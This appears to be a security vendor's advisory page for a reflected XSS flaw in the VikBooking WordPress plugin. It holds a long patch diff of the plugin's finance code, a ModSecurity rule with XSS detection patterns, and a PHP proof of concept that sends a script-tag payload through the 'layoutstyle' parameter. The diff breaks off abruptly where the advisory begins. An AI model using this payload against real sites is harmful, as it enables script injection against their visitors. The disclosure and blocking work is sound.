+        $bestItemid = VikBooking::findProperItemIdType(['booking'], ($this->getProperty('lang') ?: null));
+        $langSuffix = $bestItemid && $this->getProperty('lang') ? '&lang=' . $this->getProperty('lang') : '';
+
+        $precheckinLink = VikBooking::externalroute("index.php?option=com_vikbooking&view=precheckin&sid=" . $useSid . "&ts=" . $this->getProperty('ts') . $langSuffix, false, ($bestItemid ?: null));
+
+        if (!$shorten) {
+            return $precheckinLink;
+        }
+
+        // access the model for shortening URLs
+        $model = VBOModelShortenurl::getInstance($onlyRouted = false)->setBooking($this->getData());
+
+        return $model->getShortUrl($precheckinLink);
+    }
 }
--- a/vikbooking/admin/helpers/src/taxonomy/finance.php
+++ b/vikbooking/admin/helpers/src/taxonomy/finance.php
@@ -14,795 +14,871 @@
 /**
  * Taxonomy finance helper class.
  *
- * @since 	1.16.0 (J) - 1.6.0 (WP)
+ * @since   1.16.0 (J) - 1.6.0 (WP)
  */
 class VBOTaxonomyFinance
 {
-	/**
-	 * The singleton instance of the class.
-	 *
-	 * @var VBOTaxonomyFinance
-	 */
-	protected static $instance = null;
-
-	/**
-	 * Class constructor is protected.
-	 *
-	 * @see 	getInstance()
-	 */
-	protected function __construct()
-	{
-		// do nothing
-	}
-
-	/**
-	 * Returns the global object, either
-	 * a new instance or the existing instance
-	 * if the class was already instantiated.
-	 *
-	 * @return 	self 	A new instance of the class.
-	 */
-	public static function getInstance()
-	{
-		if (is_null(static::$instance)) {
-			static::$instance = new static();
-		}
-
-		return static::$instance;
-	}
-
-	/**
-	 * Returns the number of total units for all rooms, or for a specific room.
-	 * By default, the rooms unpublished are skipped, and all rooms are used.
-	 *
-	 * @param 	mixed 	$idroom 	int or array.
-	 * @param 	bool 	$published 	true or false.
-	 *
-	 * @return 	int
-	 */
-	public function countRooms($idroom = 0, $published = true)
-	{
-		$dbo = JFactory::getDbo();
-
-		$totrooms = 0;
-		$clauses = [];
-
-		if (is_int($idroom) && $idroom > 0) {
-			$clauses[] = "`id`=" . (int)$idroom;
-		} elseif (is_array($idroom) && count($idroom)) {
-			$idroom = array_map('intval', $idroom);
-			$clauses[] = "`id` IN (" . implode(', ', $idroom) . ")";
-		}
-
-		if ($published) {
-			$clauses[] = "`avail`=1";
-		}
-
-		$q = "SELECT SUM(`units`) FROM `#__vikbooking_rooms`" . (count($clauses) ? " WHERE " . implode(' AND ', $clauses) : "");
-		$dbo->setQuery($q);
-		$totrooms = (int)$dbo->loadResult();
-
-		return $totrooms;
-	}
-
-	/**
-	 * Counts the number of nights of difference between two timestamps.
-	 *
-	 * @param 	int 	$to_ts 		the target end date timestamp.
-	 * @param 	int 	$from_ts 	the starting date timestamp.
-	 *
-	 * @return 	int 	the nights of difference between from and to timestamps.
-	 */
-	public function countNightsTo($to_ts, $from_ts = 0)
-	{
-		if (empty($from_ts)) {
-			$from_ts = time();
-		}
-
-		$from_ymd = date('Y-m-d', $from_ts);
-		$to_ymd = date('Y-m-d', $to_ts);
-
-		if ($from_ymd == $to_ymd) {
-			return 1;
-		}
-
-		$from_date = new DateTime($from_ymd);
-		$to_date   = new DateTime($to_ymd);
-		$daysdiff  = (int)$from_date->diff($to_date)->format('%a');
-
-		if ($to_ts < $from_ts) {
-			// we need a negative integer number in this case
-			$daysdiff = $daysdiff - ($daysdiff * 2);
-		}
-
-		if ($from_ymd != $to_ymd && $daysdiff > 0) {
-			// the to date is actually another night of stay
-			$daysdiff += 1;
-		}
-
-		return $daysdiff;
-	}
-
-	/**
-	 * Counts the number of days of difference between two timestamps.
-	 *
-	 * @param 	int 	$from_ts 	the starting date timestamp.
-	 * @param 	int 	$to_ts 		the target end date timestamp.
-	 *
-	 * @return 	int 	the days of difference from the given dates.
-	 *
-	 * @since 	1.16.10 (J) - 1.6.10 (WP)
-	 */
-	public function countDaysDiff($from_ts, $to_ts)
-	{
-		if (empty($from_ts) || empty($to_ts)) {
-			return 0;
-		}
-
-		$from_ymd = date('Y-m-d', $from_ts);
-		$to_ymd = date('Y-m-d', $to_ts);
-
-		if ($from_ymd == $to_ymd) {
-			return 0;
-		}
-
-		$from_date = new DateTime($from_ymd);
-		$to_date   = new DateTime($to_ymd);
-		$daysdiff  = (int)$from_date->diff($to_date)->format('%a');
-
-		if ($to_ts < $from_ts) {
-			// we need a negative integer number in this case
-			$daysdiff = $daysdiff - ($daysdiff * 2);
-		}
-
-		return $daysdiff;
-	}
-
-
-	/**
-	 * Helper method to format long currency values into short numbers.
-	 * I.e. 2.600.000 = 2.6M (empty decimals are always removed to keep the string short).
-	 *
-	 * @param 	int|float 	$num 		the amount to format.
-	 * @param 	int 		$decimals 	the precision to use.
-	 *
-	 * @return 	string 					the formatted amount string.
-	 */
-	public function numberFormatShort($num, $decimals = 1)
-	{
-		// get global formatting values
-		$formatvals  = VikBooking::getNumberFormatData();
-		$formatparts = explode(':', $formatvals);
-
-		if ($num < 951) {
-			// 0 - 950
-			$short_amount = number_format($num, $decimals, $formatparts[1], $formatparts[2]);
-			$type_amount  = '';
-		} elseif ($num < 900000) {
-			// 1k - 950k
-			$short_amount = number_format($num / 1000, $decimals, $formatparts[1], $formatparts[2]);
-			$type_amount  = 'k';
-		} elseif ($num < 900000000) {
-			// 0.9m - 950m
-			$short_amount = number_format($num / 1000000, $decimals, $formatparts[1], $formatparts[2]);
-			$type_amount  = 'm';
-		} elseif ($num < 900000000000) {
-			// 0.9b - 950b
-			$short_amount = number_format($num / 1000000000, $decimals, $formatparts[1], $formatparts[2]);
-			$type_amount  = 'b';
-		} else {
-			// >= 0.9t
-			$short_amount = number_format($num / 1000000000000, $decimals, $formatparts[1], $formatparts[2]);
-			$type_amount  = 't';
-		}
-
-		// unpad zeroes from the right
-		if ($decimals > 0) {
-			while (substr($short_amount, -1, 1) == '0') {
-				$short_amount = substr($short_amount, 0, strlen($short_amount) - 1);
-			}
-
-			if (substr($short_amount, -1, 1) == $formatparts[1]) {
-				// remove also the decimals separator if no more decimals
-				$short_amount = substr($short_amount, 0, strlen($short_amount) - 1);
-			}
-		}
-
-		// return the formatted amount string
-		return $short_amount . $type_amount;
-	}
-
-	/**
-	 * Calculate the absolute percent amount between the current and previous financial stat.
-	 * This method will use the following calculation: ((A1 - A2) / A2) * 100.
-	 *
-	 * @param 	float 	$stat 		the current (previously calculated) financial amount.
-	 * @param 	float 	$compare 	the previous period financial amount.
-	 * @param 	int 	$precision 	the precision for apply rounding.
-	 *
-	 * @return 	int|float 			the absolute percent amount calculated.
-	 */
-	public function calcAbsPercent($current, $compare, $precision = 1)
-	{
-		if ($current == $compare) {
-			return 0;
-		}
-
-		if ($current > $compare && $compare < 1) {
-			return 100;
-		}
-
-		if ($current < $compare && $current < 1) {
-			return 100;
-		}
-
-		return round(abs(($current - $compare) / $compare * 100), $precision);
-	}
-
-	/**
-	 * Obtain booking statistics from a range of dates and an
-	 * optional list of room types. The data obtained will be
-	 * based on the effective nights of stay within the range,
-	 * unless type "booking_dates" to obtain different data.
-	 *
-	 * @param 	string 	$from 	the Y-m-d (or website) date from.
-	 * @param 	string 	$to 	the Y-m-d (or website) date to.
-	 * @param 	array 	$rooms 	list of room IDs to filter.
-	 * @param 	string 	$type 	either "stay_dates" or "booking_dates".
-	 *
-	 * @return 	array 			associative list of information.
-	 *
-	 * @throws 	Exception
-	 */
-	public function getStats($from, $to, array $rooms = [], $type = 'stay_dates')
-	{
-		$dbo = JFactory::getDbo();
-
-		// access the availability helper
-		$av_helper = VikBooking::getAvailabilityInstance();
-
-		$from_ts = VikBooking::getDateTimestamp($from, 0, 0);
-		$to_ts = VikBooking::getDateTimestamp($to, 23, 59, 59);
-		if (empty($from) || empty($from_ts) || empty($to_ts) || $to_ts < $from_ts) {
-			throw new Exception('Invalid dates provided', 500);
-		}
-
-		// total number of days (nights) in the range
-		$total_range_nights = $this->countNightsTo($to_ts, $from_ts);
-		if ($total_range_nights < 1) {
-			throw new Exception('Invalid number of days provided', 500);
-		}
-
-		// total number of room units
-		$total_room_units = $this->countRooms($rooms);
-
-		if ($total_room_units < 1) {
-			throw new Exception('Having no rooms published may lead to divisions by zero, hence errors.', 500);
-		}
-
-		// the associative array of statistics to collect and return
-		$stats = [
-			// booking ids involved
-			'bids'            => [],
-			// total number of room units counted for stats
-			'room_units'      => $total_room_units,
-			// total number of room units times the number of nights in the range
-			'tot_inventory'   => ($total_room_units * $total_range_nights),
-			// number of rooms booked
-			'rooms_booked'    => 0,
-			// number of bookings found
-			'tot_bookings'    => 0,
-			// total number of nights booked (proportionally adjusted according to affected dates)
-			'nights_booked'   => 0,
-			// percent value
-			'occupancy'       => 0,
-			// average length of stay
-			'avg_los'         => 0,
-			// points of sale revenue (revenue divided by each individual ota and ibe)
-			'pos_revenue'     => [],
-			// list of countries with ranking
-			'country_ranks'   => [],
-			// ibe revenue net
-			'ibe_revenue'     => 0,
-			// otas revenue net (no matter if commissions were applied)
-			'ota_revenue'     => 0,
-			// total refunded amounts (never deducted)
-			'tot_refunds'     => 0,
-			// average daily rate
-			'adr'             => 0,
-			// revenue per available room
-			'revpar'          => 0,
-			// average booking window
-			'abw'             => 0,
-			// amount of all taxes
-			'taxes'           => 0,
-			// amount of VAT
-			'tot_vat'         => 0,
-			// amount of city taxes
-			'city_taxes'      => 0,
-			// amount of damage deposits
-			'damage_deposits' => 0,
-			// commissions (amount)
-			'cmms'            => 0,
-			// net revenue before tax (otas + ibe)
-			'revenue'         => 0,
-			// gross revenue after tax
-			'gross_revenue'   => 0,
-			// otas total before tax (same as ota_revenue, but only if ota commissions were applied)
-			'ota_tot_net'     => 0,
-			// otas commissions
-			'ota_cmms'        => 0,
-			// percent value for average ota commissions amount
-			'ota_avg_cmms'    => 0,
-			// commission savings amount
-			'cmm_savings'     => 0,
-			// total cancelled reservations
-			'tot_cancellations' => 0,
-			// cancelled reservation IDs
-			'cancellation_ids'  => [],
-			// total amount of cancelled bookings
-			'cancellations_amt' => 0,
-		];
-
-		// get all (real/completed) bookings in the given range of dates
-		$q = $dbo->getQuery(true);
-		$q->select($dbo->qn([
-			'o.id',
-			'o.ts',
-			'o.status',
-			'o.days',
-			'o.checkin',
-			'o.checkout',
-			'o.totpaid',
-			'o.coupon',
-			'o.roomsnum',
-			'o.total',
-			'o.idorderota',
-			'o.channel',
-			'o.country',
-			'o.tot_taxes',
-			'o.tot_city_taxes',
-			'o.tot_fees',
-			'o.tot_damage_dep',
-			'o.cmms',
-			'o.refund',
-			'or.idorder',
-			'or.idroom',
-			'or.optionals',
-			'or.cust_cost',
-			'or.cust_idiva',
-			'or.extracosts',
-			'or.room_cost',
-			'c.country_name',
-		]));
-		$q->from($dbo->qn('#__vikbooking_orders', 'o'));
-		$q->leftjoin($dbo->qn('#__vikbooking_ordersrooms', 'or') . ' ON ' . $dbo->qn('or.idorder') . ' = ' . $dbo->qn('o.id'));
-		$q->leftjoin($dbo->qn('#__vikbooking_countries', 'c') . ' ON ' . $dbo->qn('c.country_3_code') . ' = ' . $dbo->qn('o.country'));
-		$q->where($dbo->qn('o.total') . ' > 0');
-		$q->where($dbo->qn('o.closure') . ' = 0');
-		// use the "andWhere" method after having set some "where" clauses
-		$q->andWhere([
-			$dbo->qn('o.status') . ' = ' . $dbo->q('confirmed'),
-			$dbo->qn('o.status') . ' = ' . $dbo->q('cancelled'),
-		], 'OR');
-		if ($type == 'stay_dates') {
-			// regular calculation based on stay dates
-			$q->where($dbo->qn('o.checkout') . ' >= ' . $from_ts);
-			$q->where($dbo->qn('o.checkin') . ' <= ' . $to_ts);
-		} else {
-			// calculation based on booked dates
-			$q->where($dbo->qn('o.ts') . ' >= ' . $from_ts);
-			$q->where($dbo->qn('o.ts') . ' <= ' . $to_ts);
-		}
-
-		/**
-		 * Do not filter the room booking records by room ID, but always join them, to improve accuracy with calculations.
-		 *
-		 * @since 	1.18.0 (J) - 1.8.0 (WP)
-		 */
-		if ($rooms) {
-			// $q->where($dbo->qn('or.idroom') . ' IN (' . implode(', ', array_map('intval', $rooms)) . ')');
-		}
-
-		$q->order($dbo->qn('o.checkin') . ' ASC');
-		$q->order($dbo->qn('o.id') . ' ASC');
-		$q->order($dbo->qn('or.id') . ' ASC');
-
-		$dbo->setQuery($q);
-		$records = $dbo->loadAssocList();
-
-		if (!$records) {
-			// no bookings found, do not proceed
-			return $stats;
-		}
-
-		/**
-		 * Join the busy records afterwards to support accurate calculations for split stays or early departures/late arrivals.
-		 * This is also needed to support multi-room reservations without joining the busy records together with the room records.
-		 *
-		 * @since 	1.18.0 (J) - 1.8.0 (WP)
-		 */
-		$busy_joined = [];
-		foreach ($records as &$booking) {
-			if (strcasecmp($booking['status'], 'confirmed')) {
-				// we only want to target confirmed bookings
-				continue;
-			}
-
-			// build cache signature for busy records joined
-			$booking_room_signature = $booking['id'] . '-' . $booking['idroom'];
-
-			// build the db query
-			$dbo->setQuery(
-				$dbo->getQuery(true)
-					->select($dbo->qn('ob.idbusy'))
-					->select($dbo->qn('b.checkin', 'room_checkin'))
-					->select($dbo->qn('b.checkout', 'room_checkout'))
-					->from($dbo->qn('#__vikbooking_ordersbusy', 'ob'))
-					->leftjoin($dbo->qn('#__vikbooking_busy', 'b') . ' ON ' . $dbo->qn('b.id') . ' = ' . $dbo->qn('ob.idbusy'))
-					->where($dbo->qn('ob.idorder') . ' = ' . (int) $booking['id'])
-					->where($dbo->qn('b.idroom') . ' = ' . (int) $booking['idroom'])
-					->order($dbo->qn('b.id') . ' ASC')
-			);
-
-			// either fetch the records or use the previously cached ones to support multi-room bookings with equal room IDs
-			$busy_joined[$booking_room_signature] = $busy_joined[$booking_room_signature] ?? $dbo->loadAssocList();
-
-			// get the busy record to process for the current booking-room by shifting the list
-			$process_busy = array_shift($busy_joined[$booking_room_signature]);
-
-			if (!$process_busy) {
-				continue;
-			}
-
-			// inject busy details
-			$booking['idbusy'] = $process_busy['idbusy'];
-			$booking['room_checkin'] = $process_busy['room_checkin'];
-			$booking['room_checkout'] = $process_busy['room_checkout'];
-		}
-
-		// unset last reference and cached values
-		unset($booking, $busy_joined);
-
-		/**
-		 * Immediately count cancellations and unset the records found.
-		 *
-		 * @since 	1.16.10 (J) - 1.6.10 (WP)
-		 */
-		foreach ($records as $k => $b) {
-			if (!strcasecmp($b['status'], 'cancelled')) {
-				if (!in_array($b['id'], $stats['cancellation_ids'])) {
-					// add statistics for the cancelled booking only once
-					$stats['tot_cancellations']++;
-					$stats['cancellations_amt'] += (float) $b['total'];
-					$stats['cancellation_ids'][] = $b['id'];
-				}
-
-				// get rid of this record to not alter the regular statistics
-				unset($records[$k]);
-			}
-		}
-
-		if ($stats['cancellation_ids']) {
-			// reset key values
-			$records = array_values($records);
-		}
-
-		// nest records with multiple rooms booked inside sub-arrays
-		$bookings = [];
-		foreach ($records as $b) {
-			if (!isset($bookings[$b['id']])) {
-				$bookings[$b['id']] = [];
-			}
-
-			// calculate the effective from and to stay timestamps for this room (by supporting split stays or early departures/late arrivals)
-			$room_checkin  = !empty($b['room_checkin']) && $b['room_checkin'] != $b['checkin'] ? $b['room_checkin'] : $b['checkin'];
-			$room_checkout = !empty($b['room_checkout']) && $b['room_checkout'] != $b['checkout'] ? $b['room_checkout'] : $b['checkout'];
-			$in_info  = getdate($room_checkin);
-			$out_info = getdate($room_checkout);
-			$b['stay_from_ts'] = mktime(0, 0, 0, $in_info['mon'], $in_info['mday'], $in_info['year']);
-			$b['stay_to_ts']   = mktime(23, 59, 59, $out_info['mon'], ($out_info['mday'] - 1), $out_info['year']);
-			$b['stay_nights']  = $room_checkin != $b['checkin'] || $room_checkout != $b['checkout'] ? $av_helper->countNightsOfStay($room_checkin, $room_checkout) : $b['days'];
-			$b['stay_nights']  = $b['stay_nights'] < 1 ? 1 : $b['stay_nights'];
-
-			// push room-booking
-			$bookings[$b['id']][] = $b;
-		}
-
-		// free memory up
-		unset($records);
-
-		// counters and pools
-		$los_counter = 0;
-		$pos_pool 	 = [];
-		$pos_counter = [];
-		$countries 	 = [];
-		$country_map = [];
-
-		// sum of booking window
-		$sum_booking_window = 0;
-
-		// parse all bookings
-		foreach ($bookings as $bid => $booking) {
-			// push booking ID
-			$stats['bids'][] = $bid;
-
-			// increase tot bookings and los counter
-			if (!$rooms || ($rooms && array_intersect(array_column($booking, 'idroom'), $rooms))) {
-				// make sure to increase counters only if filtered listing(s) involved or if no filters set
-				$stats['tot_bookings']++;
-				$los_counter += $booking[0]['days'];
-			}
-
-			// count rooms booked within the reservation
-			$booking_rooms = count($booking);
-
-			// define the total booking amount for multi-room reservations
-			$multi_room_total = 0;
-
-			if ($rooms && $booking[0]['roomsnum'] > 1) {
-				// when filters applied to multi-room bookings, count the effective number of rooms involved
-				$booking_rooms = count(array_intersect(array_column($booking, 'idroom'), $rooms));
-
-				// overwrite room total amount when filtering by listing(s)
-				foreach ($booking as $room_booking) {
-					if (!in_array($room_booking['idroom'], $rooms)) {
-						continue;
-					}
-					if ($room_booking['cust_cost'] > 0) {
-						$multi_room_total += $room_booking['cust_cost'];
-					} elseif ($room_booking['room_cost'] > 0) {
-						$multi_room_total += $room_booking['room_cost'];
-					}
-				}
-			}
-
-			// point of sale name
-			$pos_name = null;
-
-			// parse all rooms booked
-			foreach ($booking as $room_booking) {
-				if ($rooms && !in_array($room_booking['idroom'], $rooms)) {
-					// room booked is excluded from filters
-					continue;
-				}
-
-				// increase rooms booked
-				$stats['rooms_booked']++;
-
-				// number of nights affected
-				$los_affected = $room_booking['stay_nights'];
-
-				// use default total values
-				$room_total 		 = $multi_room_total ?: $room_booking['total'];
-				$room_cmms 			 = $room_booking['cmms'];
-				$room_refund 		 = $room_booking['refund'];
-				$room_tot_taxes 	 = $room_booking['tot_taxes'];
-				$room_tot_city_taxes = $room_booking['tot_city_taxes'];
-				$room_tot_damage_dep = $room_booking['tot_damage_dep'];
-				$room_tot_fees 		 = $room_booking['tot_fees'];
-
-				// check if amounts must be calculated proportionally for the range of dates requested
-				if ($type == 'stay_dates' && ($room_booking['stay_from_ts'] < $from_ts || $room_booking['stay_to_ts'] > $to_ts)) {
-					// calculate number of nights of stay affected
-					$los_affected = $this->countNightsAffected($from_ts, $to_ts, $room_booking['stay_from_ts'], $room_booking['stay_to_ts']);
-
-					// adjust the amounts proportionally
-					$room_total 		 = $room_total * $los_affected / $room_booking['stay_nights'];
-					$room_cmms 			 = $room_cmms * $los_affected / $room_booking['stay_nights'];
-					$room_refund 		 = $room_refund * $los_affected / $room_booking['stay_nights'];
-					$room_tot_taxes 	 = $room_tot_taxes * $los_affected / $room_booking['stay_nights'];
-					$room_tot_city_taxes = $room_tot_city_taxes * $los_affected / $room_booking['stay_nights'];
-					$room_tot_damage_dep = $room_tot_damage_dep * $los_affected / $room_booking['stay_nights'];
-					$room_tot_fees 		 = $room_tot_fees * $los_affected / $room_booking['stay_nights'];
-				}
-
-				// apply average values per room booked (with filters or booked in total)
-				$room_total 		 /= $booking_rooms;
-				$room_cmms 			 /= $booking_rooms;
-				$room_refund 		 /= $booking_rooms;
-				$room_tot_taxes 	 /= $booking_rooms;
-				$room_tot_city_taxes /= $booking_rooms;
-				$room_tot_damage_dep /= $room_booking['roomsnum'];
-				$room_tot_fees 		 /= $booking_rooms;
-
-				// calculate and sum average values per room booked
-				$tot_net = $multi_room_total ?: ($room_total - (float) $room_tot_taxes - (float) $room_tot_city_taxes - (float) $room_tot_fees - (float) $room_tot_damage_dep - (float) $room_cmms);
-				$tot_revenue = $multi_room_total ? ($tot_net / $booking_rooms) : $tot_net;
-				$stats['revenue'] += $tot_revenue;
-				$stats['gross_revenue'] += $room_total;
-				$stats['nights_booked'] += $los_affected;
-
-				// increase booking window for this room-booking
-				$booking_window = $this->countDaysDiff($room_booking['ts'], $room_booking['stay_from_ts']);
-				$sum_booking_window += $booking_window >= 0 ? $booking_window : 0;
-
-				// increase country stats
-				$country_code = !empty($room_booking['country']) ? $room_booking['country'] : 'unknown';
-				if (!isset($countries[$country_code])) {
-					$countries[$country_code] = 0;
-					if (!empty($room_booking['country_name'])) {
-						$country_map[$country_code] = $room_booking['country_name'];
-					}
-				}
-				$countries[$country_code] += $tot_revenue;
-
-				if (!empty($room_booking['idorderota']) && !empty($room_booking['channel'])) {
-					$stats['ota_revenue'] += $tot_revenue;
-					if ($room_cmms > 0) {
-						$stats['ota_tot_net'] += $tot_revenue;
-						$stats['ota_cmms'] += $room_cmms;
-					}
-					// set pos name
-					$channel_parts = explode('_', $room_booking['channel']);
-					$pos_name = trim($channel_parts[0]);
-				} else {
-					$stats['ibe_revenue'] += $tot_revenue;
-					// set pos name
-					$pos_name = 'website';
-				}
-
-				// set pos net revenue
-				if (!isset($pos_pool[$pos_name])) {
-					$pos_pool[$pos_name] = 0;
-				}
-				$pos_pool[$pos_name] += $tot_revenue;
-
-				$stats['taxes'] += (float) $room_tot_taxes + (float) $room_tot_city_taxes + (float) $room_tot_fees;
-				$stats['tot_vat'] += (float) $room_tot_taxes;
-				$stats['city_taxes'] += (float) $room_tot_city_taxes;
-				$stats['damage_deposits'] += (float) $room_tot_damage_dep;
-				$stats['cmms'] += (float) $room_cmms;
-				$stats['tot_refunds'] += $room_refund;
-			}
-
-			if ($pos_name) {
-				// increase number of bookings for this pos
-				if (!isset($po

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12754
# Blocks reflected XSS attempts via the 'layoutstyle' parameter on pages rendering the VikBooking roomslist shortcode.
SecRule REQUEST_URI "@rx /" 
  "id:20261954,phase:2,deny,status:403,chain,msg:'CVE-2026-12754 - VikBooking Reflected XSS via layoutstyle parameter',severity:'CRITICAL',tag:'CVE-2026-12754',tag:'wordpress',tag:'xss'"
SecRule ARGS:layoutstyle "@rx <script[^>]*>|onw+s*=|javascript:s*|<img[^>]+onerror|<svg[^>]+onload|<iframe[^>]+src|<body[^>]+onload" 
  "t:lowercase,t:urlDecodeUni,chain"
SecRule REQUEST_URI "@contains /" 
  "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12754 - VikBooking Hotel Booking Engine & PMS <= 1.8.12 - Reflected Cross-Site Scripting via 'layoutstyle' Parameter

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$shortcode_page = '/rooms/'; // Path to a page that uses [vikbooking view="roomslist"] shortcode

// XSS payload
$payload = '"><script>alert("XSS_by_AtomicEdge")</script>';

// Build malicious URL
$malicious_url = $target_url . $shortcode_page . '?layoutstyle=' . urlencode($payload);

echo "[+] CVE-2026-12754 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urlnn";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";

// Check if payload appears in response (visually confirming XSS)
if (strpos($response, $payload) !== false) {
    echo "[!] VULNERABLE: Payload reflected in response. XSS confirmed.n";
} else {
    echo "[-] Payload not reflected. Site may be patched or target page does not have the vulnerable shortcode.n";
}

// Output first 2000 chars of response for manual inspection
echo "n[+] Response excerpt:n";
echo substr($response, 0, 2000) . "n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.